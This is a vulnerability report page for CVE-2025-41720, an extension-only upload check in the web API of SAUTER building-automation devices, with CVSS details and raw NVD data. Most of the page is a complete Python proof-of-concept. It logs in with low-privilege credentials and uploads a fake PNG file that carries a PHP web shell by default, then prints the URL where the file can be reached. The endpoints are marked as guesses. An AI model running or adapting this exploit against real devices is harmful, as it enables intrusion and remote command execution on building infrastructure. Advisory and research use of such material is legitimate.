Security Vulnerability Report
中文
CVE-2025-41720 CVSS 4.3 MEDIUM

CVE-2025-41720

Published: 2025-10-22 07:15:33
Last Modified: 2026-04-15 00:35:42

Description

A low privileged remote attacker can upload arbitrary data masked as a png file to the affected device using the webserver API because only the file extension is verified.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAUTER楼宇自动化设备Web服务器API(具体版本待官方确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-41720 - SAUTER Web API Arbitrary File Upload PoC # Exploits insufficient file validation (extension-only check) import requests import argparse import sys TARGET_URL = "http://{host}:{port}/api/upload" # Adjust endpoint as needed DEFAULT_CREDS = ("user", "password") # Low-privilege credentials def create_malicious_png(payload: str) -> bytes: """ Create a file with .png extension containing arbitrary payload. The server only checks the file extension, so actual content is irrelevant. """ # PNG magic bytes (optional - server doesn't validate content) png_header = b"\x89PNG\r\n\x1a\n" # Embed malicious payload after the PNG header malicious_content = png_header + payload.encode('utf-8') return malicious_content def upload_file(session, url, filename, content): """Upload a malicious file disguised as PNG to the target API.""" files = { 'file': (filename, content, 'image/png') } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SAUTER-Exploit/1.0)' } try: response = session.post(url, files=files, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def main(): parser = argparse.ArgumentParser(description="CVE-2025-41720 PoC - SAUTER Arbitrary File Upload") parser.add_argument("--host", required=True, help="Target device IP/hostname") parser.add_argument("--port", default="80", help="Target port (default: 80)") parser.add_argument("--username", default=DEFAULT_CREDS[0], help="Username") parser.add_argument("--password", default=DEFAULT_CREDS[1], help="Password") parser.add_argument("--payload", default="<?php system($_GET['cmd']); ?>", help="Malicious payload to upload") parser.add_argument("--filename", default="exploit.png", help="Filename with .png extension") args = parser.parse_args() target = TARGET_URL.format(host=args.host, port=args.port) print(f"[*] Target: {target}") print(f"[*] Authenticating as: {args.username}") session = requests.Session() # Step 1: Authenticate with low-privilege credentials login_url = f"http://{args.host}:{args.port}/api/login" session.post(login_url, data={"username": args.username, "password": args.password}) # Step 2: Create malicious content with .png extension malicious_file = create_malicious_png(args.payload) print(f"[*] Created malicious file ({len(malicious_file)} bytes)") # Step 3: Upload the file print(f"[*] Uploading {args.filename}...") response = upload_file(session, target, args.filename, malicious_file) if response and response.status_code in [200, 201]: print(f"[+] Upload successful! Status: {response.status_code}") print(f"[+] File accessible at: http://{args.host}:{args.port}/uploads/{args.filename}") else: print(f"[-] Upload failed. Status: {response.status_code if response else 'N/A'}") sys.exit(1) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41720", "sourceIdentifier": "[email protected]", "published": "2025-10-22T07:15:33.317", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A low privileged remote attacker can upload arbitrary data masked as a png file to the affected device using the webserver API because only the file extension is verified."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-646"}]}], "references": [{"url": "https://sauter.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-060.json", "source": "[email protected]"}]}}